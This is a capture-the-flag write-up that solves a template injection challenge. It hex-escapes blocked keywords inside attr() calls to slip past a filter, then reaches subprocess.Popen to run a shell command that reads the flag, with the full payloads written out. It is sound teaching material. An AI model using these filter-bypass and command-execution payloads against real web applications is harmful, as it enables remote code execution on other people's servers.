This is a *template injection* challenge.

Challenge description--


Challenge url--


According to the source code, our payload is rendered as template. Let's test with basic payload `{{7*7}}`. It returns 49.


There is also some filters. Since `las,bas,bal` are banned, we can't use `class,base,global`. We can bypass this with `attr()`. Let's check the subclasses `{{()|attr('__\x63\x6c\x61\x73\x73__')|attr('__\x62\x61\x73\x65__')|attr('__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__')()}}`.


I found the index of `<class 'subprocess.Popen'>` at 360. Our final payload -> `{{()|attr('__\x63\x6c\x61\x73\x73__')|attr('__\x62\x61\x73\x65__')|attr('__\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73__')()|attr('__getitem__')(360)("cat flag.txt",shell=True,stdout=-1)|attr('communicate')()}}`.


Flag: `ictf{:rooYay:_:rooPOG:_:rooHappy:_:rooooooooooooooooooooooooooo:}`

Thank you for reading! :cowboy_hat_face: :cowboy_hat_face:

Original writeup (https://github.com/hmhlol/ctfs_writeups/tree/main/imaginary_ctf/Build%20A%20Website).